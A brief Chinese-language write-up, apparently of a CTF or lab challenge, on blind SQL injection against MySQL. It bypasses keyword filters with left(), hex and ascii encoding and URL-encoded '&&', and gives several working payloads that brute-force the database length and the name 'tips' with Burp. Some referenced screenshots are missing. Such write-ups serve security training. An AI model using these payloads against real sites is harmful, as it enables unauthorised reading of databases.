mysql分割函數有:substr、substring、left
當union、空格、and、or、注釋、substr被過濾的時候如下
可嘗試用編碼進行繞過,如URLEncode編碼,ASCII,HEX,unicode編碼繞過,上面代碼沒有過濾left,可以用left加上hex進行繞過
這里通過測試語句判斷出是數字型注入
錯誤則不顯示,用盲注試一下,
判斷數據庫長度語句(模板):
/?id=1'%20 and (length(database()))=8--+
payload:
?id=1%26%26hex(length(database()))>5 //and=&& &=%26
通過二分法得出數據庫長度為:4
接下來判斷數據庫名:可通過burp抓包爆破,payload為:
?id=1%26%26hex(left(database(),1))=1 //(left(database(),1) 1表示數據庫名第一位
也可以用ascii,原理一樣:
?id=1%26%26ascii(left(database(),1))=116
第一個變量:數據庫長度
第二個變量:hex編碼
payload options [Brute forcer] 最小長度為1,最大長度為8.
當然,最快的方法是爆出一位,填payload里再繼續爆破下一位。
payload options [Brute forcer] 填8,是因為ascii編碼轉過來是2位,見下圖
這種爆破方式較慢,沒爆破完,結果如下:
payload為:
?id=1%26%26hex(left(database(),1))=74 //數據庫第1位
?id=1%26%26hex(left(database(),2))=7469 //數據庫第2位
?id=1%26%26hex(left(database(),3))=746970 // 數據庫第3位
最后結果為:
通過ascii與hex對照表得出數據庫名:tips